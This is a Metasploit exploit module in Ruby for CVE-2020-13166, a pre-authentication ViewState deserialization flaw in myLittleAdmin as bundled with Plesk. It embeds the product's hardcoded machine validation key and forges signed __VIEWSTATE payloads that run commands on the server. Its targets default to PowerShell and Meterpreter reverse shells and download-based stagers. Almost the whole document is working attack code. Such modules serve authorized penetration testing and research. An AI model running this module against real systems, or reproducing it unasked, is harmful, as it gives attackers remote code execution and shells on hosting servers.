Plesk / myLittleAdmin ViewState .NET Deserialization

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
# <input type="hidden" name="__VIEWSTATEGENERATOR" id="__VIEWSTATEGENERATOR" value="CA0B0334" />  
VIEWSTATE_GENERATOR = 'CA0B0334'.freeze  
  
# <machineKey  
# validationKey="5C7EEF6650639D2CB8FAA0DA36AF24452DCF69065F2EDC2C8F2F44C0220BE2E5889CA01A207FC5FCE62D1A5A4F6D2410722261E6A33E77E0628B17AA928039BF"  
# decryptionKey="DC47E74EA278F789D2FF0E412AD840A89C10171F408D8AC4"  
# validation="SHA1" />  
VIEWSTATE_VALIDATION_KEY =  
"\x5c\x7e\xef\x66\x50\x63\x9d\x2c\xb8\xfa\xa0\xda\x36\xaf\x24\x45\x2d\xcf" \  
"\x69\x06\x5f\x2e\xdc\x2c\x8f\x2f\x44\xc0\x22\x0b\xe2\xe5\x88\x9c\xa0\x1a" \  
"\x20\x7f\xc5\xfc\xe6\x2d\x1a\x5a\x4f\x6d\x24\x10\x72\x22\x61\xe6\xa3\x3e" \  
"\x77\xe0\x62\x8b\x17\xaa\x92\x80\x39\xbf".freeze  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::ViewState  
include Msf::Exploit::CmdStager  
include Msf::Exploit::Powershell  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Plesk/myLittleAdmin ViewState .NET Deserialization',  
'Description' => %q{  
This module exploits a ViewState .NET deserialization vulnerability in  
web-based MS SQL Server management tool myLittleAdmin, for version 3.8  
and likely older versions, due to hardcoded <machineKey> parameters in  
the web.config file for ASP.NET.  
  
Popular web hosting control panel Plesk offers myLittleAdmin as an  
optional component that is selected automatically during "full"  
installation. This exploit caters to the Plesk target, though it  
should work fine against a standalone myLittleAdmin setup.  
  
Successful exploitation results in code execution as the user running  
myLittleAdmin, which is IUSRPLESK_sqladmin for Plesk and described as  
the "SQL Admin MSSQL anonymous account."  
  
Tested on the latest Plesk Obsidian with optional myLittleAdmin 3.8.  
},  
'Author' => [  
# Reported to SecuriTeam SSD by an anonymous researcher  
# Reference exploit written by said anonymous researcher  
# Publicly disclosed by Noam Rathaus of SecuriTeam's SSD  
'Spencer McIntyre', # Inspiration  
'wvu' # Module  
],  
'References' => [  
['CVE', '2020-13166'],  
['URL', 'https://ssd-disclosure.com/ssd-advisory-mylittleadmin-preauth-rce/'],  
['URL', 'https://portswigger.net/daily-swig/mylittleadmin-has-a-big-unpatched-security-flaw']  
],  
'DisclosureDate' => '2020-05-15', # SecuriTeam SSD advisory  
'License' => MSF_LICENSE,  
'Platform' => 'win',  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],  
'Privileged' => false,  
'Targets' => [  
[  
'Windows Command',  
'Arch' => ARCH_CMD,  
'Type' => :win_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'  
}  
],  
[  
'Windows Dropper',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :win_dropper,  
'CmdStagerFlavor' => %i[psh_invokewebrequest certutil vbs],  
'DefaultOptions' => {  
'CMDSTAGER::FLAVOR' => :psh_invokewebrequest,  
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'  
}  
],  
[  
'PowerShell Stager',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :psh_stager,  
'DefaultOptions' => {  
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'  
}  
]  
],  
'DefaultTarget' => 2,  
'DefaultOptions' => {  
'SSL' => true,  
'WfsDelay' => 10 # First exploit attempt may be a little slow  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
  
register_options([  
Opt::RPORT(8401, true, 'The myLittleAdmin port (default for Plesk!)'),  
OptString.new('TARGETURI', [true, 'Base path', '/'])  
])  
  
# XXX: https://github.com/rapid7/metasploit-framework/issues/12963  
import_target_defaults  
end  
  
def check  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path)  
)  
  
unless res  
return CheckCode::Unknown('Target did not respond to check request.')  
end  
  
unless res.code == 200 && res.body.include?('myLittleAdmin for SQL Server')  
return CheckCode::Unknown('Target is not running myLittleAdmin.')  
end  
  
vprint_good("myLittleAdmin is running at #{full_uri}")  
check_viewstate(res.get_html_document)  
end  
  
def check_viewstate(html)  
viewstate = html.at('//input[@id = "__VIEWSTATE"]/@value')&.text  
  
unless viewstate  
return CheckCode::Detected("__VIEWSTATE not found, can't complete check.")  
end  
  
@viewstate_generator =  
html.at('//input[@id = "__VIEWSTATEGENERATOR"]/@value')&.text  
  
unless @viewstate_generator  
print_warning('__VIEWSTATEGENERATOR not found, using known default value')  
@viewstate_generator = VIEWSTATE_GENERATOR  
end  
  
# ViewState generator needs to be a packed integer now  
@viewstate_generator = [@viewstate_generator.to_i(16)].pack('V')  
  
we_can_sign_viewstate = can_sign_viewstate?(  
viewstate,  
extra: @viewstate_generator,  
key: VIEWSTATE_VALIDATION_KEY  
)  
  
if we_can_sign_viewstate  
return CheckCode::Vulnerable('We can sign our own ViewState.')  
end  
  
CheckCode::Safe("We can't sign our own ViewState.")  
end  
  
def exploit  
# NOTE: Automatic check is implemented by the AutoCheck mixin  
super  
  
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")  
  
case target['Type']  
when :win_cmd  
execute_command(payload.encoded)  
when :win_dropper  
execute_cmdstager  
when :psh_stager  
execute_command(cmd_psh_payload(  
payload.encoded,  
payload.arch.first,  
remove_comspec: true  
))  
end  
end  
  
def execute_command(cmd, _opts = {})  
vprint_status("Serializing command: #{cmd}")  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path),  
'vars_post' => {  
# This is the only parameter we need for successful exploitation!  
'__VIEWSTATE' => generate_viewstate_payload(  
cmd,  
extra: @viewstate_generator,  
key: VIEWSTATE_VALIDATION_KEY  
)  
}  
)  
  
unless res && res.code == 302 && res.redirection.path == '/error/index.html'  
fail_with(Failure::PayloadFailed, "Could not execute command: #{cmd}")  
end  
  
print_good("Successfully executed command: #{cmd}")  
end  
  
end  
`